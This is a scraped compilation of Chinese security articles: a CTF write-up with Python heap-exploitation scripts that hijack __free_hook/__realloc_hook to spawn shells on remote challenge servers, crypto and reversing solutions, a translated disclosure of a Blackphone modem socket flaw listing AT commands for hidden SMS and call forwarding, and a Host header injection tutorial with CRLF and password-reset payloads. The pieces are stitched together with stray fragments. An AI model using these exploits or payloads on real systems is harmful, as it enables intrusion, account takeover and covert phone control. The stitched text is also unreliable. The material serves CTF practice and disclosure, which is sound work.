free_hook = libc_base+libc.symbols['__free_hook']
sh = asm(shellcraft.sh())
edit(1,sh+'\n')
edit(0,p64(0x200)+p64(free_hook)+'\n')
edit(5,p64(mmap_addr)+'\n')
p.sendline('2')
p.sendline('0')
p.interactive()
### one heap
用hbase爆破pbase的1/8192变态house of Roman + 1/1的house of three
from pwn import *
context.arch = "amd64"
context.aslr = False
libc = ELF("./libc-2.27.so")
def add(size,data,shift = False):
io.sendlineafter("choice:",str(1))
io.sendlineafter("size",str(size))
if(shift == False):
io.sendlineafter("content:",data)
else:
io.sendafter("content:",data)
def rm():
io.sendlineafter("choice:",str(2))
while(True):
try:
#io = process("./one_heap",env = {"LD_PRELOAD":"./libc-2.27.so"})
io = remote('47.104.89.129',10001)
add(0x60,'0000')
rm()
rm()
add(0x60,'\x20\x60\x64')
add(0x60,' ')
add(0x60,'\n',shift = True)
add(0x60,p64(0xfbad1880)+p64(0)*3+"\x58")
lbase = u64(io.recv(6).ljust(8,'\x00'))-libc.sym['_IO_file_jumps']
success("LBASE -> %#x"%lbase)
add(0x40,'0000')
rm()
rm()
add(0x40,p64(lbase+libc.sym['__realloc_hook']))
add(0x40,p64(lbase+libc.sym['__realloc_hook']))
one = 0x4f2c5
add(0x40,p64(lbase+one)+p64(lbase+libc.sym['realloc']+0xe))
add(0x30,"cat flag\x00")
#gdb.attach(io,'handle SIGALRM nostop noprint')
io.interactive()
raw_input()
except Exception,e:
info(str(Exception)+str(e))
io.close()
### two heap
0x1 0x8 0x10 0x18绕size check(都是生成0x20的堆块)
from pwn import *
context.arch = 'amd64'
#context.aslr = False
libc = ELF("./libc-2.26.so")
def add(size,data):
io.sendlineafter("choice:","1")
io.sendlineafter("size:\n",str(size))
io.sendafter("note:\n",data)
def rm(idx):
io.sendlineafter("choice:","2")
io.sendlineafter("index:\n",str(idx))
while(True):
try:
io = remote('47.104.89.129',10002)
#io = process("./two_heap",env = {"LD_PRELOAD":"./libc-2.26.so"})
io.sendlineafter("SCTF:\n","%a%a%a%a%a")
io.recvuntil("0x0.0")
lbase = (int(io.recv(11),16)<<4)-libc.sym['_IO_2_1_stdout_']
info("LBASE -> %#x"%lbase)
add(1,'')
rm(0);rm(0);ls
add(8,p64(lbase+libc.sym['__free_hook']))
add(0x10,'\n')
add(24,p64(lbase+libc.sym['system'])+'\n')
add(40,"/bin/sh\x00"+"\n")
io.sendline("2")
io.sendline("4")
#gdb.attach(io,'handle SIGALRM nostop noprint')
io.interactive()
raw_input()
except Exception,e:
info(str(e))
io.close()
## Crypto
### warmup
题目中先 xor 到 16 位然后再用 CBC, 所以只要撞 xor 出来的 16 位就可以了.
unpad 也没检查, 可以往里面插东西撞 xor.
import remoteCLI
from binascii import hexlify, unhexlify
from Crypto.Util.strxor import strxor
cli = remoteCLI.CLI()
cli.connect('47.240.41.112', 12345)
msg, code = cli.recvUntilFind(r'you seem to have intercepted something:{(.*):(.*)}')
msg = unhexlify(msg)
mac = b'\x00' * 16
for i in range(len(msg) // 16):
mac = strxor(msg[i * 16:(i + 1) * 16], mac)
forge_msg = bytearray(b'please send me your flag'+ (b'\x00' * 8))
forge_msg.extend(forge_msg)
forge_msg.extend(bytearray(mac))
length = len(forge_msg) + len(mac) - len('please send me your flag')
forge_msg[-1] ^= length
forge_msg.extend(b'\x00' * 15)
forge_msg.append(length)
cli.sendLine(hexlify(forge_msg))
cli.sendLine(code)
cli.console()
### babygame
OFB 在知道明文+密文的情况下直接伪造明文. 这里通过广播攻击 + Coppersmith 得到明文.
import remoteCLI
from binascii import unhexlify, hexlify
from Crypto.Util.strxor import strxor
cli = remoteCLI.CLI()
cli.connect('47.240.41.112', 54321)
e, n = cli.recvUntilFind(r'pubkey:{e, n}={(.*), (.*)}')
n = int(n[:-1], 16)
cli.sendLine(str(n * 10))
cli.sendLine(str(1))
n1, = cli.recvUntilFind(r'Alpha:my pub-key is: e=3,n=(.*)')
n2, = cli.recvUntilFind(r'Bravo:my pub-key is: e=3,n=(.*)')
n3, = cli.recvUntilFind(r'Charlie:my pub-key is: e=3,n=(.*)')
mess1, a1, b1 = cli.recvUntilFind(r'admin:Alpha, your ciphertext is: c=(.*)\nwith some parameters:a=(.*), b=(.*)')
mess2, a2, b2 = cli.recvUntilFind(r'admin:Bravo, your ciphertext is: c=(.*)\nwith some parameters:a=(.*), b=(.*)')
mess3, a3, b3 = cli.recvUntilFind(r'admin:Charlie, your ciphertext is: c=(.*)\nwith some parameters:a=(.*), b=(.*)')
cipher, = cli.recvUntilFind(r'Alpha:David, make sure you\'ve read this:(.*)')
var = 'n1 n2 n3 mess1 mess2 mess3 a1 a2 a3 b1 b2 b3'
for i in var.split():
globals()[i] = int(globals()[i][:-1], 16)
data = {
'n': [n1, n2, n3],
'c': [mess1, mess2, mess3],
'a': [a1, a2, a3],
'b': [b1, b2, b3]
}
import json
import subprocess
data = json.dumps(data)
output = subprocess.check_output(['sage', 'crypto2-broadcast.sage', data]).decode()[:-1]
plaintext = int(output) # I will send you the ticket tomorrow afternoon\x03\x03\x03
plaintext = b'I will send you the ticket tomorrow afternoon\x03\x03\x03'
forge_mess = b'I will send you the ticket tomorrow morning\x05\x05\x05\x05\x05'
cipher = unhexlify(cipher)
keystream = strxor(plaintext, cipher)
forge_cipher = strxor(keystream, forge_mess)
cli.sendLine('2')
cli.sendLine(hexlify(forge_cipher))
cli.console()
crypto2-broadcast.sage
def hastads(cArray,nArray,e=3):
"""
Performs Hastads attack on raw RSA with no padding.
cArray = Ciphertext Array
nArray = Modulus Array
e = public exponent
"""
if(len(cArray)==len(nArray)==e):
for i in range(e):
cArray[i] = Integer(cArray[i])
nArray[i] = Integer(nArray[i])
M = crt(cArray,nArray)
return(Integer(M).nth_root(e,truncate_mode=1))
else:
print("CiphertextArray, ModulusArray, need to be of the same length, and the same size as the public exponent")
def linearPaddingHastads(cArray,nArray,aArray,bArray,e=3,eps=1/8):
"""
Performs Hastads attack on raw RSA with no padding.
This is for RSA encryptions of the form: cArray[i] = pow(aArray[i]*msg + bArray[i],e,nArray[i])
Where they are all encryptions of the same message.
cArray = Ciphertext Array
nArray = Modulus Array
aArray = Array of 'slopes' for the linear padding
bArray = Array of 'y-intercepts' for the linear padding
e = public exponent
"""
if(len(cArray) == len(nArray) == len(aArray) == len(bArray) == e):
for i in range(e):
cArray[i] = Integer(cArray[i])
nArray[i] = Integer(nArray[i])
aArray[i] = Integer(aArray[i])
bArray[i] = Integer(bArray[i])
TArray = [-1]*e
for i in range(e):
arrayToCRT = [0]*e
arrayToCRT[i] = 1
TArray[i] = crt(arrayToCRT,nArray)
P.<x> = PolynomialRing(Zmod(prod(nArray)))
gArray = [-1]*e
for i in range(e):
gArray[i] = TArray[i]*(pow(aArray[i]*x + bArray[i],e) - cArray[i])
g = sum(gArray)
g = g.monic()
# Use Sage's inbuilt coppersmith method
roots = g.small_roots(epsilon=eps)
if(len(roots)== 0):
print("No Solutions found")
return -1
return roots[0]
else:
print("CiphertextArray, ModulusArray, and the linear padding arrays need to be of the same length," +
"and the same size as the public exponent")
import json
import sys
data = json.loads(sys.argv[1])
print(linearPaddingHastads(data['c'], data['n'], data['a'], data['b']))
## Misc
### 签到题
关注微信公众号，cat /flag
### 头号玩家
一直向上走就会有Flag
（一直向下会有假Flag
### 打开电动车
读数据发现有1个停止位，24个数据位，应该是PT2262，查了资料发现是16位地址8位数据，然而不对
然后发现可能是20位地址，这个对了
### Maaaaaze
[脚本地址](https://gist.githubusercontent.com/ZeddYu/358060f02d6f0aed0ec27fed80db85b8/raw/6a358dbcf76c78eaf25de35452bbaa6dbcb62681/SCTF%2520maze)
## Rev
### CreakMe
一个正常的Binary，程序是一个裸的标准AES加密，密钥和向量分别是sycloversyclover和sctfsctfsctfsctf，密文是Base64过的，用于比对的密文在程序的构造函数里面被变过，调试器挂一下就拿到了
>>> iv = 'sctf' * 4
>>> key = 'syclover' * 2
>>> aes = AES.new(key, AES.MODE_CBC, iv)
>>> cipher = 'nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo='
>>> aes.decrypt(cipher.decode('base64'))
'sctf{Ae3_C8c_I28_pKcs79ad4}\x05\x05\x05\x05\x05'
### who is he
是一个Unity3D，逆Assembly-CSharp.dll，算法很简单，写个程序解一下
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
namespace HelloWorldApplication
{
class HelloWorld
{
static void Main(string[] args)
{
String str = "1Tsy0ZGotyMinSpxqYzVBWnfMdUcqCMLu0MA+22Jnp+MNwLHvYuFToxRQr0c+ONZc6Q7L0EAmzbycqobZHh4H23U4WDTNmmXwusW4E+SZjygsntGkO2sGA==";
byte[] bytes = Encoding.Unicode.GetBytes("1234");
byte[] array = Convert.FromBase64String(str);
DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(bytes, bytes), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
byte[] bytes2 = memoryStream.ToArray();
cryptoStream.Close();
memoryStream.Close();
String result = Encoding.Unicode.GetString(bytes2);
Console.WriteLine(result);
}
}
}
然后发现不对，开调试器挂程序，发现程序里面还有两个Assembly-CSharp.dll，而且之前那个根本就没载进去。。。
算法一样的，密文密钥分别是
q+w89Y22rObfzxgsquc5Qxbbh9ZIAHET/NncmiqEo67RrDvz34cdAk0BalKWhJGl2CBYMlr8pPA=
1234
xZWDZaKEhWNMCbiGYPBIlY3+arozO9zonwrYLiVL4njSez2RYM2WwsGnsnjCDnHs7N43aFvNE54noSadP9F8eEpvTs5QPG+KL0TDE/40nbU=
test
发现第二组是对的
（你打CTF像CXK.jpg
### Strange apk
安卓逆向,打开后dex2jar转一下dex文件,在恢复出来的代码中可以找到一段对一个文件解密的过程.
文件可以看到是一个非常大的文件,打开后里面有好多syclover这些东西
可以看到里面的东西是通过key[i%len]这样循环解密一个文件,根据同样的逻辑尝试恢复文件,后来发现开头是PK,里面还有安卓包内的一些东西,即解密除了第二个apk
继续解密逆dex,可以看到前面12个是base64,后12个是割一位填充一个字符8,拿出来即可
### babyre
elf文件,一共有三层
第一层是5 _5_ 5的一个立体的密室,根据waasdxy走到目标位置即可
第二层则是base64dec,要求解密后的字符为sctf_9102
第三层是一个自写的算法,输入的16位在前面排好,在buf里成为4个int,然后通过i=0,j=4依次递增,执行如下运算
`buf[j] = buf[i] ^ func(buf[i + 1] ^ buf[i + 2] ^ buf[i +
3])`,直到最后运算结束,填充buf到30,最后check后四位在内存的值
可以看出来我们只知道`buf[26],buf[27],buf[28],buf[29]`,由于`buf[29] = buf[25] ^
func(buf[26],buf[27],buf[28])`,由xor运算的性质,我们就可算出buf25,递归到0即可求出初始字符串
#include <stdio.h>
#include "defs.h"
#include <stdlib.h>
#include <string.h>
int dword_7F4BEE488940[288] =
{....
....//此处自行dump
};
unsigned int calcc(unsigned int a1)
{
int v1; // ST18_4
int table[290]; // [rsp+20h] [rbp-490h]
unsigned __int64 v4; // [rsp+4A8h] [rbp-8h]
qmemcpy(table, dword_7F4BEE488940, 0x480uLL);
v1 = (table[BYTE2(a1)] << 16) | table[(unsigned __int8)a1] | (table[BYTE1(a1)] << 8) | (table[a1 >> 24] << 24);
return __ROL4__(v1, 12) ^ (unsigned int)(__ROL4__(v1, 8) ^ __ROR4__(v1, 2)) ^ __ROR4__(v1, 6);
}
unsigned int calc(unsigned int a,unsigned int b,unsigned int c,unsigned int d) {
return a ^ calcc(b^c^d);
}
int main() {
unsigned int buf[30];
unsigned char enc[16] = {128, 6, 4, 190, 71, 118, 175, 197, 31, 64, 204, 159, 239, 146, 191, 216};
//unsigned char enc[16] = {190, 4, 6, 128, 197, 175, 118, 71, 159, 204, 64, 31, 216, 191, 146, 239};
// scanf("%16s",s);
memset(buf,0,30*4);
memcpy(&buf[26],enc,16);
int i,j;
for(i = 25,j = 29;j >= 4;j--,i--) {
buf[i] = calc(buf[j],buf[j-3],buf[j-2],buf[j-1]);
printf("buf[%d] = %d ^ calcc(%d,%d,%d)\n",i,j,j-3,j-2,j-1);
}
printf("%s\n",(char *)buf);
// printf("%d\n",strlen((char *)buf));
}
### music
又是个安卓,打开后会强制你听一首《早春的树》,然后到了输入flag的界面,输入错误会从头听歌,然后输入
逆dex,可以看到比较清楚的逻辑,在几个class中,看到几个运算,分别是tohexstr,getdb,还有一个魔改了一下的rc4,db文件拿到字符串md5当作key,找到hex后的字符串,写解密脚本
public class Notepad
{
public static void main(String[] args)
{
byte[] enctob = new byte[]{-62, -117, -61, -99, -61, -90, -62, -125, -62, -77, -61, -99, -62, -109, -62, -119, -62, -72, -61, -70, -62, -98, -61, -96, -61, -89, -62, -102, 22, 84, -61, -81, 40, -61, -95, -62, -79, 33, 91, 83};
String bs = new String(enctob);
char[] flagenc = bs.toCharArray();
char[] out = new char[bs.length()];
int[] S = new int[256];
byte[] wtf = new byte[256];
int i,j,k;
String key = "E7E64BF658BAB14A25C9D67A054CEBE5";
for (i = 0; i < 256; i++ )
{
S[i] = i;
wtf[i] = (byte)(key.charAt(i % 32));
}
i = 0;
j = 0;
for(i = 0,j = 0;i < 256; i++ )
{
j = (S[i] + j + wtf[i]) % 256;
k = S[i];
S[i] = S[j];
S[j] = k;
}
for (i = 0,j = 0,k = 0; i < bs.length(); i++ )
{
k = (k + 1) % 256;
j = (S[k] + j) % 256;
int temp = S[k];
S[k] = S[j];
S[j] = temp;
out[i] = (char)((flagenc[i] ^ S[(S[k] + S[k] % 256) % 256]) + k);
System.out.println(out);
}
}
}
稍微打一波小广告，SU战队长期招人，无论您是小白，大佬，只要乐于分享，愿意交流，我们永远欢迎您的加入。我们可以一起打比赛，一起交流技术，一起为冲击全国甚至国际重要赛事前列而努力。我们的战队成员主要来自五湖四海，还有非常厉害的
**郁离歌** ， **郁离歌** ， **郁离歌**
，（这里的话竟然自己会动！）划重点！！（问：跟郁离歌打比赛是一种什么体验？答：只要花心思想自己怎么躺最舒服就行了！）我们乐于交流，乐于分享，乐于为自己的战队做努力，有着一致的目标。所以，如果有师傅想来一起交流，一起学习进步，一起打比赛的话，加入我们没有
**地区年级** 等任何限制，我们非常欢迎师傅或者团体的加入！欢迎联系：suers_xctf#126.com | 社区文章 |
# Blackphone的漏洞允许攻击者获取手机的控制权
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.sentinelone.com/blog/vulnerability-in-blackphone-puts-devices-at-risk-for-takeover/>
译文仅供参考，具体内容表达以及含义原文为准。
研究人员发现，[Blackphone](https://en.wikipedia.org/wiki/Blackphone)的调制解调器中存在安全漏洞，这将使得这一加密设备有可能受到黑客的攻击。
Blackphone被誉为是当今安全性最高的智能手机。不幸的是，无论一款系统在设计时采用了多么安全的机制，它仍然是存在安全漏洞的。最近，我们在Blackphone中发现了一个漏洞，这个漏洞将允许攻击者远程控制手机的调制解调器。
随着SGP技术的发展，再加上Blackphone可以向用户提供应用程序的完整控制权限，SilentCircle旗下的全资子公司还为Blackphone的用户提供了Silent
Phone以及Silent Text等隐私保护服务，这些服务能够对通信信息进行加密，以保证没有人可以窃听用户的语音通话信息、视频数据，以及文字消息。
在进行了一系列逆向工程分析之后，我们发现在Blackphone（BP1）中有一个socket是开放的，而且是可以进行外部访问的。
shell@blackphone:/dev/socket $ ls -l at_pal
srw-rw-rw- radio system 2015-07-31 17:51 at_pal
在互联网中，几乎没有关于这个socket的任何信息－除了关于SELinux在安卓操作系统上所使用的file_contexts的相关信息。它似乎是为Nvidia
Shield平板电脑所设计的，因为只有这一款配备了Icera调制解调器的安卓设备目前还在广泛使用中，而且Nvidia公司也已经停止生产这种设备了。在进行了进一步的分析和研究之后，我们发现了几款应用程序，这几款应用程序能够跟这个socket进行交互，尤其是其中的agps_daemon，它可以将一个普通shell/app用户的权限提升成system/radio用户才有的权限。
在我们进行逆向分析之前，我们查看了系统日志，从中我们发现agps_daemon给我们提供了很多非常有趣的信息：
I/AGPSD ( 219): agps_PortParseArgs: Getting property (agpsd.dev_path=/dev/ttySHM3) from environment
I/AGPSD ( 219): agps_PortParseArgs: Getting property (agpsd.socket_path=/dev/socket/at_pal) from environment
D/AGPSD ( 219): Kernel time: [9.408745]
D/AGPSD ( 219): vendor/nvidia/tegra/prebuilt/ceres/../../icera/ril/agpsd/agps_daemon.c Version : 1.12
D/AGPSD ( 219): vendor/nvidia/tegra/prebuilt/ceres/../../icera/ril/agpsd/agps_daemon.c Built Dec 2 2014 12:00:30
D/AGPSD ( 219): agps_uplinkThread: Entering
I/AGPSD ( 219): open_tty_port: Opening /dev/ttySHM3
I/AGPSD ( 219): agps_downlinkThread: Entering
根据系统日志所显示的信息，这很明显就是关于Nvidia Icera调制解调器的二进制功能代码，它会监听“socket_path”(
/dev/socket/at_pal),并且还会打开一个tty_port端口。我们在IDA
Pro中打开这个agps_daemon之后，这些信息很快便能够得到确认。我们可以看到，这种特权进程不仅能够监听at_pal
socket，而且还能够将socket接收到的数据写入ttySHM3端口。在我们对这段二进制代码进行了分析之后，我们还发现调制解调器的无线电信号一致都在监听ttySHM3端口。这也就意味着，我们发现了一种能够直接与调制解调器进行通信的方法！而且我们也证实了，我们可以直接在shell命令行中运行agps_daemon来完成通信操作。你可以从下图看到，我们在代码中开启了一个名为“test”的线程：
在命令行中运行这段二进制代码之后，可以看到我们所输入的“虚假“命令已经被发送至了调制解调器之中。这样一来，攻击者不仅能够以shell用户的身份进行操作，而且还可以通过无线电向调制解调器发送命令。更加可怕的是，攻击者很有可能通过一个拥有网络访问权的安卓应用程序来向调制解调器发送命令。
因为命令起始于“AT”，而且这段命令看起来像是一段经过修改的Hayes命令，所以我们决定使用谷歌来搜索代码组合，因为我们希望发现更多有趣的使用方法。与此同时，我们还将设备中的所有文件全部提取了出来，并且在这些文件中搜索带有“AT”风格的代码。在这一步骤的操作中，我们发现/system/bin/fild中的二进制代码似乎可以打开socket的/dev/ttySHM3端口，而且还可以加载/system/lib/libicera-ril.so中的共享代码库文件。在我们对这两个二进制代码进行了分析之后，我们很轻松地找到了一些可用的代码，包括下列非常有意思的“AT”代码：
AT+CMUT – 将调制解调器设为静音(或开启提醒)(防止提示音)
ATD – 启用或禁用拨出电话的ID
AT+CMGT + AT+CMGS – 发送安卓设备不可见的文字短信
AT+CCFC – 设置设备的呼叫转移,以防止来电信息在设备上显示
AT+CSCS + AT+CUSD – 发送USSD代码
除了上述列出的代码之外，还有很多看似不规范的代码，而且这些代码还可以执行很多设备不可见的任务。在进行了进一步的分析和研究之后，我们还发现了很多代码路径，攻击者可以利用这些信息来进行下列操作：
－发送和接受文字消息（这一操作既不会在安卓的主界面中显示出来，而且也不会给用户任何的通知和提示）
－进行拨号或连接（在这一操作中，安卓的UI界面会弹出拨号对话框，但此时的安卓系统将处于假死状态，而且通话无法直接挂断，必须通过与调制解调器的交互才可以将电话挂断）
－检测手机的电话呼叫状态（检测当前呼叫的电话号码，以及当前通话是呼入还是呼出）
－重置APN／短信中心／电源选项等设置
－强制设备与其它号码进行会议电话
－将调制解调器设置为静音
－强制设置caller ID
－“攻击”调制解调器（硬重启后需要对调制解调器进行恢复操作）
－找到最近的基站进行连接
－注册呼叫转移号码（在有电话呼入时，Blackphone将不会给予用户任何的提示，来电者也不会被告知他们的通话被转接了）
当然了，还有很多其他的攻击方法，而且还有某些部分的代码是可以进行利用的，在这里我们就不一一列举了。
当我们验证了这些分析结果之后，我们就申请了相应的CVE漏洞编号，并与SilentCircle公司进行了联系。他们要求我们向Bugcrowd社区提交这些发现。这一漏洞的编号为CVE-2015-6841，在Bugcrowd社区漏洞奖励计划的帮助下，这些问题已经得到了解决，相应的漏洞也得到了修复。
这个漏洞告诉我们，针对现代智能设备的攻击面是非常广而深的。这也对安全专家们提出了更高的要求。首先，即便是最“安全”的系统，也是会存在漏洞的，是有可能遭受黑客攻击的。其次，如今的设备都在不断引入第三方厂商所提供的技术（例如硬件，驱动程序，软件库等等），这就使得漏洞的检测和修复过程变的更加的困难。最后一点，几乎所有的漏洞都需要某些恶意软件以进行远程利用。所以，当一个异常源通过一个看似合法的请求来执行系统函数时，如果能够对设备的处理过程进行监视，那么我们将能够更快地检测到非法操作，而且也能够提升我们的应急反应速度。
事件时间轴
2015-08-25 – 联系供应商，供应商要求通过Bugcrowd提交漏洞信息，我们向Bugcrowd提交了漏洞信息，并申请了CVE编号。
2015-09-04 – Bugcrowd对问题进行了分析和分类
2015-09-10 – MITRE CERT将这个漏洞定为CVE-2015-6841
2015-09-30 – 供应商确认并同意提交漏洞信息
2015-11-02 – 问题得到了解决, 并给予了美元奖励，供应商修复了相应漏洞
2015-12-07 – 用于修复这一漏洞的RC3 1.1.13补丁正式发布
**特别鸣谢**
感谢Caleb Fenton, Jacob Soo以及Jon Sawyer所提供的帮助。感谢SilentCircle的CSO
@netsecrex对漏洞披露过程的持续关注。感谢Bugcrowd社区在我们披露漏洞信息的过程中所提供的帮助。 | 社区文章 |
**前言：**
遇到个Host-header-injection，简单的查查资料，总结一下这方面的知识。
**目录：**
0x01：漏洞原理
0x02：黑盒测试
0x03：漏洞危害
0x04：如何修复
**漏洞原理**
在互联网上，大部分情况下一个web服务器，有着一个IP和多个网站。那么当我们向web服务器做出请求时，web服务器是如何识别到底是访问其中的哪个网站呢？这就是HOST存在的理由。
而当服务器获取HOST的方式不当时，就会产生很多问题。
例如下面的代码。
<a href="http://<?php echo _SERVER['HOST'] ?>">Redirect</a>
SERVER['HOST']是可以通过抓包修改的。一切用户的输入都是不可相信的。
正常
Request：
GET / HTTP/1.1
Host: example.com
Response:
HTTP/1.1 302 Object moved
Location: http://www.example.com
<a href="http://www.example.com">Redirecting...</a>
**黑盒测试**
三种修改方式
* 直接修改
Host: bywalks.com
* 参数污染
Host: google.com
Host: bywalks.com
* 伪造请求头
X-Forwarded-For: bywalks.com
**漏洞危害**
* 缓存投毒
1：用浏览器访问example.com
2：服务器返回302跳转到<https://www.example.com/login>
3：当我们访问example.com的时候，修改请求头，为bywalks.com
4：服务器返回302跳转到<https://www.bywalks.com/login>
5：当我们再一次访问example.com时，或许服务器没有经过验证，直接跳转到<http://www.bywalks.com/login>
* Open Redirection
302跳转
* CRLF
POC：
%0d%0aset-cookie%20%3atest%3dtrue;
* 密码重置
网站一般都存在这密码修改功能，直接输入email即可。账号绑定的email就会接收到邮件。
类似于这样。<http://www.example.com/Token/>
HOST可以修改，我们就可以修改HOST，email接受的邮件就变成了这样:<http://www.bywalks.com/Token/>
当用户点击这个URL之后，我们就可以从网站日记看到这个TOKEN，从而达到密码重置的目的。
**如何修复**
1：HOST白名单
2：获取真实HOST。
个人博客：www.bywalks.com | 社区文章 |
Subsets and Splits